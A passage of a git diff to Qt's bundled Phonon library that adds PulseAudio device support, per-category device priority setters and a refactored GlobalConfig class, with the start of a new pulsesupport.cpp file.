+    generalGroup.setValue(QLatin1String("HideAdvancedDevices"), hide);
+}
+
+static bool isHiddenAudioOutputDevice(const GlobalConfig *config, int i)
+{
+    Q_ASSERT(config);
+
+    if (!config->hideAdvancedDevices())
+        return false;
+
+    AudioOutputDevice ad = AudioOutputDevice::fromIndex(i);
+    const QVariant var = ad.property("isAdvanced");
+    return (var.isValid() && var.toBool());
+}
+
+#ifndef QT_NO_PHONON_AUDIOCAPTURE
+static bool isHiddenAudioCaptureDevice(const GlobalConfig *config, int i)
+{
+    Q_ASSERT(config);
+
+    if (!config->hideAdvancedDevices())
+        return false;
+
+    AudioCaptureDevice ad = AudioCaptureDevice::fromIndex(i);
+    const QVariant var = ad.property("isAdvanced");
+    return (var.isValid() && var.toBool());
+}
+#endif
+
+static QList<int> reindexList(const GlobalConfig *config, Phonon::Category category, QList<int>newOrder, bool output)
+{
+    Q_ASSERT(config);
+#ifdef QT_NO_PHONON_AUDIOCAPTURE
+    Q_ASSERT(output);
+#endif
+
+    /*QString sb;
+    sb = QString("(Size %1)").arg(currentList.size());
+    foreach (int i, currentList)
+    sb += QString("%1, ").arg(i);
+    fprintf(stderr, "=== Reindex Current: %s\n", sb.toUtf8().constData());
+    sb = QString("(Size %1)").arg(newOrder.size());
+    foreach (int i, newOrder)
+    sb += QString("%1, ").arg(i);
+    fprintf(stderr, "=== Reindex Before : %s\n", sb.toUtf8().constData());*/
+
+    QList<int> currentList;
+    if (output)
+        currentList = config->audioOutputDeviceListFor(category, GlobalConfig::ShowUnavailableDevices|GlobalConfig::ShowAdvancedDevices);
+#ifndef QT_NO_PHONON_AUDIOCAPTURE
+    else
+        currentList = config->audioCaptureDeviceListFor(category, GlobalConfig::ShowUnavailableDevices|GlobalConfig::ShowAdvancedDevices);
+#endif
+
+    QList<int> newList;
+
+    foreach (int i, newOrder) {
+        int found = currentList.indexOf(i);
+        if (found < 0) {
+            // It's not in the list, so something is odd (e.g. client error). Ignore it.
+            continue;
+        }
+
+        // Iterate through the list from this point onward. If there are hidden devices
+        // immediately following, take them too.
+        newList.append(currentList.takeAt(found));
+        while (found < currentList.size()) {
+            bool hidden = true;
+            if (output)
+                hidden = isHiddenAudioOutputDevice(config, currentList.at(found));
+#ifndef QT_NO_PHONON_AUDIOCAPTURE
+            else
+                hidden = isHiddenAudioCaptureDevice(config, currentList.at(found));
+#endif
+
+            if (!hidden)
+                break;
+            newList.append(currentList.takeAt(found));
+        }
+    }
+
+    // If there are any devices left in.. just tack them on the end.
+    if (currentList.size() > 0)
+        newList += currentList;
+
+    /*sb = QString("(Size %1)").arg(newList.size());
+    foreach (int i, newList)
+    sb += QString("%1, ").arg(i);
+    fprintf(stderr, "=== Reindex After  : %s\n", sb.toUtf8().constData());*/
+    return newList;
+}
+
+
+void GlobalConfig::setAudioOutputDeviceListFor(Phonon::Category category, QList<int> order)
+{
+    PulseSupport *pulse = PulseSupport::getInstance();
+    if (pulse->isActive()) {
+        pulse->setOutputDevicePriorityForCategory(category, order);
+        return;
+    }
+
+    K_D(GlobalConfig);
+    QSettingsGroup backendConfig(&d->config, QLatin1String("AudioOutputDevice")); // + Factory::identifier());
+
+    order = reindexList(this, category, order, true);
+
+    const QList<int> noCategoryOrder = audioOutputDeviceListFor(Phonon::NoCategory, ShowUnavailableDevices|ShowAdvancedDevices);
+    if (category != Phonon::NoCategory && order == noCategoryOrder) {
+        backendConfig.removeEntry(QLatin1String("Category_") + QString::number(category));
+    } else {
+        backendConfig.setValue(QLatin1String("Category_") + QString::number(category), order);
+    }
+}
 #endif //QT_NO_PHONON_SETTINGSGROUP
 
 #ifndef QT_NO_PHONON_SETTINGSGROUP
 QList<int> GlobalConfig::audioOutputDeviceListFor(Phonon::Category category, int override) const
 {
-    //The devices need to be stored independently for every backend
-    const QSettingsGroup backendConfig(&m_config, QLatin1String("AudioOutputDevice")); // + Factory::identifier());
-    const QSettingsGroup generalGroup(&m_config, QLatin1String("General"));
-    const bool hideAdvancedDevices = ((override & AdvancedDevicesFromSettings)
-            ? generalGroup.value(QLatin1String("HideAdvancedDevices"), true)
+    K_D(const GlobalConfig);
+
+    const bool hide = ((override & AdvancedDevicesFromSettings)
+            ? hideAdvancedDevices()
             : static_cast<bool>(override & HideAdvancedDevices));
 
     QList<int> defaultList;
+
+    PulseSupport *pulse = PulseSupport::getInstance();
+    if (pulse->isActive()) {
+        defaultList = pulse->objectDescriptionIndexes(Phonon::AudioOutputDeviceType);
+        if (hide || (override & HideUnavailableDevices)) {
+            filter(AudioOutputDeviceType, NULL, &defaultList,
+                    (hide ? FilterAdvancedDevices : 0)
+                    | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
+                    );
+        }
+    } else {
+        BackendInterface *backendIface = qobject_cast<BackendInterface *>(Factory::backend());
+
 #ifndef QT_NO_PHONON_PLATFORMPLUGIN
-    if (PlatformPlugin *platformPlugin = Factory::platformPlugin()) {
-        // the platform plugin lists the audio devices for the platform
-        // this list already is in default order (as defined by the platform plugin)
-        defaultList = platformPlugin->objectDescriptionIndexes(Phonon::AudioOutputDeviceType);
-        if (hideAdvancedDevices) {
-            QMutableListIterator<int> it(defaultList);
-            while (it.hasNext()) {
-                AudioOutputDevice objDesc = AudioOutputDevice::fromIndex(it.next());
-                const QVariant var = objDesc.property("isAdvanced");
-                if (var.isValid() && var.toBool()) {
-                    it.remove();
+        if (PlatformPlugin *platformPlugin = Factory::platformPlugin()) {
+            // the platform plugin lists the audio devices for the platform
+            // this list already is in default order (as defined by the platform plugin)
+            defaultList = platformPlugin->objectDescriptionIndexes(Phonon::AudioOutputDeviceType);
+            if (hide) {
+                QMutableListIterator<int> it(defaultList);
+                while (it.hasNext()) {
+                    AudioOutputDevice objDesc = AudioOutputDevice::fromIndex(it.next());
+                    const QVariant var = objDesc.property("isAdvanced");
+                    if (var.isValid() && var.toBool()) {
+                        it.remove();
+                    }
                 }
             }
         }
-    }
 #endif //QT_NO_PHONON_PLATFORMPLUGIN
 
-    // lookup the available devices directly from the backend (mostly for virtual devices)
-    if (BackendInterface *backendIface = qobject_cast<BackendInterface *>(Factory::backend())) {
-        // this list already is in default order (as defined by the backend)
-        QList<int> list = backendIface->objectDescriptionIndexes(Phonon::AudioOutputDeviceType);
-        if (hideAdvancedDevices || !defaultList.isEmpty() || (override & HideUnavailableDevices)) {
-            filter(AudioOutputDeviceType, backendIface, &list,
-                    (hideAdvancedDevices ? FilterAdvancedDevices : 0)
-                    // the platform plugin already provided the hardware devices
-                    | (defaultList.isEmpty() ? 0 : FilterHardwareDevices)
-                    | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
-                    );
+        // lookup the available devices directly from the backend
+        if (backendIface) {
+            // this list already is in default order (as defined by the backend)
+            QList<int> list = backendIface->objectDescriptionIndexes(Phonon::AudioOutputDeviceType);
+            if (hide || !defaultList.isEmpty() || (override & HideUnavailableDevices)) {
+                filter(AudioOutputDeviceType, backendIface, &list,
+                        (hide ? FilterAdvancedDevices : 0)
+                        // the platform plugin maybe already provided the hardware devices?
+                        | (defaultList.isEmpty() ? 0 : FilterHardwareDevices)
+                        | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
+                        );
+            }
+            defaultList += list;
         }
-        defaultList += list;
     }
 
-    return listSortedByConfig(backendConfig, category, defaultList);
+    const QSettingsGroup backendConfig(&d->config, QLatin1String("AudioOutputDevice")); // + Factory::identifier());
+    return sortDevicesByCategoryPriority(this, &backendConfig, AudioOutputDeviceType, category, defaultList);
 }
 #endif //QT_NO_PHONON_SETTINGSGROUP
 int GlobalConfig::audioOutputDeviceFor(Phonon::Category category, int override) const
@@ -190,54 +349,89 @@ int GlobalConfig::audioOutputDeviceFor(Phonon::Category category, int override)
 }
 
 #ifndef QT_NO_PHONON_AUDIOCAPTURE
-QList<int> GlobalConfig::audioCaptureDeviceListFor(Phonon::Category category, int override) const
+void GlobalConfig::setAudioCaptureDeviceListFor(Phonon::Category category, QList<int> order)
 {
 #ifndef QT_NO_PHONON_SETTINGSGROUP
-    //The devices need to be stored independently for every backend
-    const QSettingsGroup backendConfig(&m_config, QLatin1String("AudioCaptureDevice")); // + Factory::identifier());
-    const QSettingsGroup generalGroup(&m_config, QLatin1String("General"));
-    const bool hideAdvancedDevices = ((override & AdvancedDevicesFromSettings)
-            ? generalGroup.value(QLatin1String("HideAdvancedDevices"), true)
+    PulseSupport *pulse = PulseSupport::getInstance();
+    if (pulse->isActive()) {
+        pulse->setCaptureDevicePriorityForCategory(category, order);
+        return;
+    }
+
+    K_D(GlobalConfig);
+    QSettingsGroup backendConfig(&d->config, QLatin1String("AudioCaptureDevice")); // + Factory::identifier());
+
+    order = reindexList(this, category, order, false);
+
+    const QList<int> noCategoryOrder = audioCaptureDeviceListFor(Phonon::NoCategory, ShowUnavailableDevices|ShowAdvancedDevices);
+    if (category != Phonon::NoCategory && order == noCategoryOrder) {
+        backendConfig.removeEntry(QLatin1String("Category_") + QString::number(category));
+    } else {
+        backendConfig.setValue(QLatin1String("Category_") + QString::number(category), order);
+    }
+}
+
+QList<int> GlobalConfig::audioCaptureDeviceListFor(Phonon::Category category, int override) const
+{
+    K_D(const GlobalConfig);
+
+    const bool hide = ((override & AdvancedDevicesFromSettings)
+            ? hideAdvancedDevices()
             : static_cast<bool>(override & HideAdvancedDevices));
 
     QList<int> defaultList;
+
+    PulseSupport *pulse = PulseSupport::getInstance();
+    if (pulse->isActive()) {
+        defaultList = pulse->objectDescriptionIndexes(Phonon::AudioCaptureDeviceType);
+        if (hide || (override & HideUnavailableDevices)) {
+            filter(AudioCaptureDeviceType, NULL, &defaultList,
+                    (hide ? FilterAdvancedDevices : 0)
+                    | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
+                    );
+        }
+    } else {
+        BackendInterface *backendIface = qobject_cast<BackendInterface *>(Factory::backend());
+
 #ifndef QT_NO_PHONON_PLATFORMPLUGIN
-    if (PlatformPlugin *platformPlugin = Factory::platformPlugin()) {
-        // the platform plugin lists the audio devices for the platform
-        // this list already is in default order (as defined by the platform plugin)
-        defaultList = platformPlugin->objectDescriptionIndexes(Phonon::AudioCaptureDeviceType);
-        if (hideAdvancedDevices) {
-            QMutableListIterator<int> it(defaultList);
-            while (it.hasNext()) {
-                AudioCaptureDevice objDesc = AudioCaptureDevice::fromIndex(it.next());
-                const QVariant var = objDesc.property("isAdvanced");
-                if (var.isValid() && var.toBool()) {
-                    it.remove();
+#else //QT_NO_SETTINGSGROUP
+    return QList<int>();
+#endif //QT_NO_SETTINGSGROUP
+        if (PlatformPlugin *platformPlugin = Factory::platformPlugin()) {
+            // the platform plugin lists the audio devices for the platform
+            // this list already is in default order (as defined by the platform plugin)
+            defaultList = platformPlugin->objectDescriptionIndexes(Phonon::AudioCaptureDeviceType);
+            if (hide) {
+                QMutableListIterator<int> it(defaultList);
+                while (it.hasNext()) {
+                    AudioCaptureDevice objDesc = AudioCaptureDevice::fromIndex(it.next());
+                    const QVariant var = objDesc.property("isAdvanced");
+                    if (var.isValid() && var.toBool()) {
+                        it.remove();
+                    }
                 }
             }
         }
-    }
 #endif //QT_NO_PHONON_PLATFORMPLUGIN
 
-    // lookup the available devices directly from the backend (mostly for virtual devices)
-    if (BackendInterface *backendIface = qobject_cast<BackendInterface *>(Factory::backend())) {
-        // this list already is in default order (as defined by the backend)
-        QList<int> list = backendIface->objectDescriptionIndexes(Phonon::AudioCaptureDeviceType);
-        if (hideAdvancedDevices || !defaultList.isEmpty() || (override & HideUnavailableDevices)) {
-            filter(AudioCaptureDeviceType, backendIface, &list,
-                    (hideAdvancedDevices ? FilterAdvancedDevices : 0)
-                    // the platform plugin already provided the hardware devices
-                    | (defaultList.isEmpty() ? 0 : FilterHardwareDevices)
-                    | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
-                  );
+        // lookup the available devices directly from the backend
+        if (backendIface) {
+            // this list already is in default order (as defined by the backend)
+            QList<int> list = backendIface->objectDescriptionIndexes(Phonon::AudioCaptureDeviceType);
+            if (hide || !defaultList.isEmpty() || (override & HideUnavailableDevices)) {
+                filter(AudioCaptureDeviceType, backendIface, &list,
+                        (hide ? FilterAdvancedDevices : 0)
+                        // the platform plugin maybe already provided the hardware devices?
+                        | (defaultList.isEmpty() ? 0 : FilterHardwareDevices)
+                        | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
+                      );
+            }
+            defaultList += list;
         }
-        defaultList += list;
     }
 
-    return listSortedByConfig(backendConfig, category, defaultList);
-#else //QT_NO_SETTINGSGROUP
-    return QList<int>();
-#endif //QT_NO_SETTINGSGROUP
+    const QSettingsGroup backendConfig(&d->config, QLatin1String("AudioCaptureDevice")); // + Factory::identifier());
+    return sortDevicesByCategoryPriority(this, &backendConfig, AudioCaptureDeviceType, category, defaultList);
 }
 
 int GlobalConfig::audioCaptureDeviceFor(Phonon::Category category, int override) const
diff --git a/src/3rdparty/phonon/phonon/globalconfig.h b/src/3rdparty/phonon/phonon/globalconfig.h
new file mode 100644
index 0000000..5233c7b
--- /dev/null
+++ b/src/3rdparty/phonon/phonon/globalconfig.h
@@ -0,0 +1,71 @@
+/*  This file is part of the KDE project
+Copyright (C) 2006-2008 Matthias Kretz <kretz@kde.org>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) version 3, or any
+    later version accepted by the membership of KDE e.V. (or its
+    successor approved by the membership of KDE e.V.), Nokia Corporation 
+    (or its successors, if any) and the KDE Free Qt Foundation, which shall
+    act as a proxy defined in Section 6 of version 3 of the license.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public 
+    License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#ifndef PHONON_GLOBALCONFIG_H
+#define PHONON_GLOBALCONFIG_H
+
+#include "phonon_export.h"
+#include "phononnamespace.h"
+#include "phonondefs.h"
+
+QT_BEGIN_HEADER
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+    class GlobalConfigPrivate;
+
+    class PHONON_EXPORT GlobalConfig
+    {
+        K_DECLARE_PRIVATE(GlobalConfig)
+    public:
+        GlobalConfig();
+        virtual ~GlobalConfig();
+
+        enum DevicesToHideFlag {
+            ShowUnavailableDevices = 0,
+            ShowAdvancedDevices = 0,
+            HideAdvancedDevices = 1,
+            AdvancedDevicesFromSettings = 2,
+            HideUnavailableDevices = 4
+        };
+        bool hideAdvancedDevices() const;
+        void setHideAdvancedDevices(bool hide = true);
+        void setAudioOutputDeviceListFor(Phonon::Category category, QList<int> order);
+        QList<int> audioOutputDeviceListFor(Phonon::Category category, int override = AdvancedDevicesFromSettings) const;
+        int audioOutputDeviceFor(Phonon::Category category, int override = AdvancedDevicesFromSettings) const;
+
+#ifndef QT_NO_PHONON_AUDIOCAPTURE
+        void setAudioCaptureDeviceListFor(Phonon::Category category, QList<int> order);
+        QList<int> audioCaptureDeviceListFor(Phonon::Category category, int override = AdvancedDevicesFromSettings) const;
+        int audioCaptureDeviceFor(Phonon::Category category, int override = AdvancedDevicesFromSettings) const;
+#endif //QT_NO_PHONON_AUDIOCAPTURE
+
+    protected:
+        GlobalConfigPrivate *const k_ptr;
+    };
+} // namespace Phonon
+
+QT_END_NAMESPACE
+QT_END_HEADER
+
+#endif // PHONON_GLOBALCONFIG_H
diff --git a/src/3rdparty/phonon/phonon/globalconfig_p.h b/src/3rdparty/phonon/phonon/globalconfig_p.h
index ec70b6f..090ca6b 100644
--- a/src/3rdparty/phonon/phonon/globalconfig_p.h
+++ b/src/3rdparty/phonon/phonon/globalconfig_p.h
@@ -26,40 +26,19 @@ Copyright (C) 2006-2008 Matthias Kretz <kretz@kde.org>
 #include <QtCore/QSettings>
 
 #include "phonon_export.h"
-#include "phononnamespace.h"
 
 QT_BEGIN_HEADER
 QT_BEGIN_NAMESPACE
 
 namespace Phonon
 {
-    class PHONON_EXPORT GlobalConfig
+    class GlobalConfigPrivate
     {
-    public:
-        GlobalConfig();
-        virtual ~GlobalConfig();
+        public:
+            GlobalConfigPrivate();
+            virtual ~GlobalConfigPrivate() {}
 
-        enum DevicesToHideFlag {
-            ShowUnavailableDevices = 0,
-            ShowAdvancedDevices = 0,
-            HideAdvancedDevices = 1,
-            AdvancedDevicesFromSettings = 2,
-            HideUnavailableDevices = 4
-        };
-#ifndef QT_NO_PHONON_SETTINGSGROUP
-        QList<int> audioOutputDeviceListFor(Phonon::Category category, int override = AdvancedDevicesFromSettings) const;
-#endif //QT_NO_PHONON_SETTINGSGROUP
-        int audioOutputDeviceFor(Phonon::Category category, int override = AdvancedDevicesFromSettings) const;
-
-#ifndef QT_NO_PHONON_AUDIOCAPTURE
-        QList<int> audioCaptureDeviceListFor(Phonon::Category category, int override = AdvancedDevicesFromSettings) const;
-        int audioCaptureDeviceFor(Phonon::Category category, int override = AdvancedDevicesFromSettings) const;
-#endif //QT_NO_PHONON_AUDIOCAPTURE
-
-    protected:
-#ifndef QT_NO_SETTINGS
-        QSettings m_config;
-#endif //QT_NO_SETTINGS
+            QSettings config;
     };
 } // namespace Phonon
 
diff --git a/src/3rdparty/phonon/phonon/mediaobject.cpp b/src/3rdparty/phonon/phonon/mediaobject.cpp
index 41e8dc2..13d303c 100644
--- a/src/3rdparty/phonon/phonon/mediaobject.cpp
+++ b/src/3rdparty/phonon/phonon/mediaobject.cpp
@@ -453,9 +453,9 @@ void MediaObjectPrivate::setupBackendObject()
     //pDebug() << Q_FUNC_INFO;
 
 #ifndef QT_NO_PHONON_ABSTRACTMEDIASTREAM
-    QObject::connect(m_backendObject, SIGNAL(stateChanged(Phonon::State,Phonon::State)), q, SLOT(_k_stateChanged(Phonon::State,Phonon::State)));
+    QObject::connect(m_backendObject, SIGNAL(stateChanged(Phonon::State, Phonon::State)), q, SLOT(_k_stateChanged(Phonon::State, Phonon::State)));
 #else
-    QObject::connect(m_backendObject, SIGNAL(stateChanged(Phonon::State,Phonon::State)), q, SIGNAL(stateChanged(Phonon::State,Phonon::State)));
+    QObject::connect(m_backendObject, SIGNAL(stateChanged(Phonon::State, Phonon::State)), q, SIGNAL(stateChanged(Phonon::State, Phonon::State)));
 #endif // QT_NO_PHONON_ABSTRACTMEDIASTREAM
     QObject::connect(m_backendObject, SIGNAL(tick(qint64)),             q, SIGNAL(tick(qint64)));
     QObject::connect(m_backendObject, SIGNAL(seekableChanged(bool)),    q, SIGNAL(seekableChanged(bool)));
@@ -467,10 +467,10 @@ void MediaObjectPrivate::setupBackendObject()
     QObject::connect(m_backendObject, SIGNAL(aboutToFinish()),          q, SLOT(_k_aboutToFinish()));
     QObject::connect(m_backendObject, SIGNAL(prefinishMarkReached(qint32)), q, SIGNAL(prefinishMarkReached(qint32)));
     QObject::connect(m_backendObject, SIGNAL(totalTimeChanged(qint64)), q, SIGNAL(totalTimeChanged(qint64)));
-    QObject::connect(m_backendObject, SIGNAL(metaDataChanged(QMultiMap<QString,QString>)),
-            q, SLOT(_k_metaDataChanged(QMultiMap<QString,QString>)));
-    QObject::connect(m_backendObject, SIGNAL(currentSourceChanged(MediaSource)), 
-        q, SLOT(_k_currentSourceChanged(MediaSource)));
+    QObject::connect(m_backendObject, SIGNAL(metaDataChanged(const QMultiMap<QString, QString> &)),
+            q, SLOT(_k_metaDataChanged(const QMultiMap<QString, QString> &)));
+    QObject::connect(m_backendObject, SIGNAL(currentSourceChanged(const MediaSource&)), 
+        q, SLOT(_k_currentSourceChanged(const MediaSource&)));
 
     // set up attributes
     pINTERFACE_CALL(setTickInterval(tickInterval));
diff --git a/src/3rdparty/phonon/phonon/objectdescription.cpp b/src/3rdparty/phonon/phonon/objectdescription.cpp
index e058b89..55e74b5 100644
--- a/src/3rdparty/phonon/phonon/objectdescription.cpp
+++ b/src/3rdparty/phonon/phonon/objectdescription.cpp
@@ -29,6 +29,7 @@
 #include <QtCore/QStringList>
 #include "backendinterface.h"
 #include "platformplugin.h"
+#include "pulsesupport.h"
 
 QT_BEGIN_NAMESPACE
 
@@ -108,27 +109,38 @@ bool ObjectDescriptionData::isValid() const
 
 ObjectDescriptionData *ObjectDescriptionData::fromIndex(ObjectDescriptionType type, int index)
 {
-    // prefer to get the ObjectDescriptionData from the platform plugin for audio devices
+    bool is_audio_device = (AudioOutputDeviceType == type || AudioCaptureDeviceType == type);
+
+    PulseSupport *pulse = PulseSupport::getInstance();
+    if (is_audio_device && pulse->isActive()) {
+        QList<int> indexes = pulse->objectDescriptionIndexes(type);
+        if (indexes.contains(index)) {
+            QHash<QByteArray, QVariant> properties = pulse->objectDescriptionProperties(type, index);
+            return new ObjectDescriptionData(index, properties);
+        }
+    } else {
+        BackendInterface *iface = qobject_cast<BackendInterface *>(Factory::backend());
+
+        // prefer to get the ObjectDescriptionData from the platform plugin for audio devices
 #ifndef QT_NO_PHONON_PLATFORMPLUGIN
-    if (type == AudioOutputDeviceType || type == AudioCaptureDeviceType) {
-        PlatformPlugin *platformPlugin = Factory::platformPlugin();
-        if (platformPlugin) {
-            QList<int> indexes = platformPlugin->objectDescriptionIndexes(type);
-            if (indexes.contains(index)) {
-                QHash<QByteArray, QVariant> properties = platformPlugin->objectDescriptionProperties(type, index);
-                return new ObjectDescriptionData(index, properties);
+        if (is_audio_device) {
+            PlatformPlugin *platformPlugin = Factory::platformPlugin();
+            if (platformPlugin) {
+                QList<int> indexes = platformPlugin->objectDescriptionIndexes(type);
+                if (indexes.contains(index)) {
+                    QHash<QByteArray, QVariant> properties = platformPlugin->objectDescriptionProperties(type, index);
+                    return new ObjectDescriptionData(index, properties);
+                }
             }
         }
-    }
 #endif //QT_NO_PHONON_PLATFORMPLUGIN
 
-    QObject *b = Factory::backend();
-    BackendInterface *iface = qobject_cast<BackendInterface *>(b);
-    if (iface) {
-        QList<int> indexes = iface->objectDescriptionIndexes(type);
-        if (indexes.contains(index)) {
-            QHash<QByteArray, QVariant> properties = iface->objectDescriptionProperties(type, index);
-            return new ObjectDescriptionData(index, properties);
+        if (iface) {
+            QList<int> indexes = iface->objectDescriptionIndexes(type);
+            if (indexes.contains(index)) {
+                QHash<QByteArray, QVariant> properties = iface->objectDescriptionProperties(type, index);
+                return new ObjectDescriptionData(index, properties);
+            }
         }
     }
     return new ObjectDescriptionData(0); // invalid
diff --git a/src/3rdparty/phonon/phonon/objectdescriptionmodel.cpp b/src/3rdparty/phonon/phonon/objectdescriptionmodel.cpp
index bf5be6d..741a74c 100644
--- a/src/3rdparty/phonon/phonon/objectdescriptionmodel.cpp
+++ b/src/3rdparty/phonon/phonon/objectdescriptionmodel.cpp
@@ -362,6 +362,7 @@ QStringList ObjectDescriptionModelData::mimeTypes(ObjectDescriptionType type) co
     return QStringList(QLatin1String("application/x-phonon-objectdescription") + QString::number(static_cast<int>(type)));
 }
 
+#if !defined(Q_CC_MSVC) || _MSC_VER > 1300 || defined(Q_CC_INTEL) || defined(Q_CC_MINGW)
 #define INSTANTIATE_META_FUNCTIONS(type) \
 template const QMetaObject *ObjectDescriptionModel<type>::metaObject() const; \
 template void *ObjectDescriptionModel<type>::qt_metacast(const char *)
@@ -371,6 +372,7 @@ INSTANTIATE_META_FUNCTIONS(AudioCaptureDeviceType);
 INSTANTIATE_META_FUNCTIONS(EffectType);
 INSTANTIATE_META_FUNCTIONS(AudioChannelType);
 INSTANTIATE_META_FUNCTIONS(SubtitleType);
+#endif
 /*INSTANTIATE_META_FUNCTIONS(VideoOutputDeviceType);
 INSTANTIATE_META_FUNCTIONS(VideoCaptureDeviceType);
 INSTANTIATE_META_FUNCTIONS(AudioCodecType);
diff --git a/src/3rdparty/phonon/phonon/path.cpp b/src/3rdparty/phonon/phonon/path.cpp
index 51c33b2..1c25b89 100644
--- a/src/3rdparty/phonon/phonon/path.cpp
+++ b/src/3rdparty/phonon/phonon/path.cpp
@@ -310,8 +310,8 @@ bool PathPrivate::executeTransaction( const QList<QObjectPair> &disconnections,
     if (!transaction)
         return false;
 
-    QList<QObjectPair>::const_iterator it = disconnections.constBegin();
-    for(;it != disconnections.constEnd();++it) {
+    QList<QObjectPair>::const_iterator it = disconnections.begin();
+    for(;it != disconnections.end();++it) {
         const QObjectPair &pair = *it;
         if (!backend->disconnectNodes(pair.first, pair.second)) {
 
@@ -327,8 +327,8 @@ bool PathPrivate::executeTransaction( const QList<QObjectPair> &disconnections,
         }
     }
 
-    for(it = connections.constBegin(); it != connections.constEnd(); ++it) {
-        const QObjectPair pair = *it;
+    for(it = connections.begin(); it != connections.end();++it) {
+        const QObjectPair &pair = *it;
         if (!backend->connectNodes(pair.first, pair.second)) {
             //Error: a connection failed
             QList<QObjectPair>::const_iterator it2 = connections.begin();
diff --git a/src/3rdparty/phonon/phonon/phonondefs.h b/src/3rdparty/phonon/phonon/phonondefs.h
index 15a1815..765eb1c 100644
--- a/src/3rdparty/phonon/phonon/phonondefs.h
+++ b/src/3rdparty/phonon/phonon/phonondefs.h
@@ -29,6 +29,11 @@
 QT_BEGIN_HEADER
 QT_BEGIN_NAMESPACE
 
+#ifdef PHONON_BACKEND_VERSION_4_4
+# ifndef PHONON_BACKEND_VERSION_4_3
+#  define PHONON_BACKEND_VERSION_4_3
+# endif
+#endif
 #ifdef PHONON_BACKEND_VERSION_4_3
 # ifndef PHONON_BACKEND_VERSION_4_2
 #  define PHONON_BACKEND_VERSION_4_2
diff --git a/src/3rdparty/phonon/phonon/pulsesupport.cpp b/src/3rdparty/phonon/phonon/pulsesupport.cpp
new file mode 100644
index 0000000..642843f
--- /dev/null
+++ b/src/3rdparty/phonon/phonon/pulsesupport.cpp
@@ -0,0 +1,1040 @@
+/*  This file is part of the KDE project
+    Copyright (C) 2009 Colin Guthrie <cguthrie@mandriva.org>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) version 3, or any
+    later version accepted by the membership of KDE e.V. (or its
+    successor approved by the membership of KDE e.V.), Nokia Corporation
+    (or its successors, if any) and the KDE Free Qt Foundation, which shall
+    act as a proxy defined in Section 6 of version 3 of the license.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#include <QtCore/QAbstractEventDispatcher>
+#include <QtCore/QEventLoop>
+#include <QtCore/QDebug>
+#include <QtCore/QStringList>
+
+#ifdef HAVE_PULSEAUDIO
+#include <glib.h>
+#include <pulse/pulseaudio.h>
+#include <pulse/xmalloc.h>
+#include <pulse/glib-mainloop.h>
+#ifdef HAVE_PULSEAUDIO_DEVICE_MANAGER
+#  include <pulse/ext-device-manager.h>
+#endif
+#endif // HAVE_PULSEAUDIO
+
+#include "pulsesupport.h"
+
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+
+static PulseSupport* s_instance = NULL;
+
+#ifdef HAVE_PULSEAUDIO
+/***
+* Prints a conditional debug message based on the current debug level
+* If obj is provided, classname and objectname will be printed as well
+*
+* see debugLevel()
+*/
+
+static int debugLevel() {
+    static int level = -1;
+    if (level < 1) {
+        level = 0;
+        QString pulseenv = qgetenv("PHONON_PULSEAUDIO_DEBUG");
+        int l = pulseenv.toInt();
+        if (l > 0)
+            level = (l > 2 ? 2 : l);
+    }
+    return level;
+}
+
+static void logMessage(const QString &message, int priority = 2, QObject *obj=0);
+static void logMessage(const QString &message, int priority, QObject *obj)
+{
+    if (debugLevel() > 0) {
+        QString output;
+        if (obj) {
+            // Strip away namespace from className
+            QString className(obj->metaObject()->className());
+            int nameLength = className.length() - className.lastIndexOf(':') - 1;
+            className = className.right(nameLength);
+            output.sprintf("%s %s (%s %p)", message.toLatin1().constData(), 
+                           obj->objectName().toLatin1().constData(), 
+                           className.toLatin1().constData(), obj);
+        }
+        else {
+            output = message;
+        }
+        if (priority <= debugLevel()) {
+            qDebug() << QString("PulseSupport(%1): %2").arg(priority).arg(output);
+        }
+    }
+}
+
+
+class AudioDevice
+{
+    public:
+        inline
+        AudioDevice(QString name, QString desc, QString icon, uint32_t index)
+        : pulseName(name), pulseIndex(index)
+        {
+            properties["name"] = desc;
+            properties["description"] = ""; // We don't have descriptions (well we do, but we use them as the name!)
+            properties["icon"] = icon;
+            properties["available"] = (index != PA_INVALID_INDEX);
+            properties["isAdvanced"] = false; // Nothing is advanced!
+        }
+
+        // Needed for QMap
+        inline AudioDevice() {}
+
+        QString pulseName;
+        uint32_t pulseIndex;
+        QHash<QByteArray, QVariant> properties;
+};
+bool operator!=(const AudioDevice &a, const AudioDevice &b)
+{
+    return !(a.pulseName == b.pulseName && a.properties == b.properties);
+}
+
+class PulseUserData
+{
+    public:
+        inline 
+        PulseUserData()
+        {
+        }
+
+        QMap<QString, AudioDevice> newOutputDevices;
+        QMap<Phonon::Category, QMap<int, int> > newOutputDevicePriorities; // prio, device
+
+        QMap<QString, AudioDevice> newCaptureDevices;
+        QMap<Phonon::Category, QMap<int, int> > newCaptureDevicePriorities; // prio, device
+};
+
+static QMap<QString, Phonon::Category> s_roleCategoryMap;
+
+static bool s_pulseActive = false;
+
+static pa_glib_mainloop *s_mainloop = NULL;
+static pa_context *s_context = NULL;
+
+
+
+static int s_deviceIndexCounter = 0;
+
+static QMap<QString, int> s_outputDeviceIndexes;
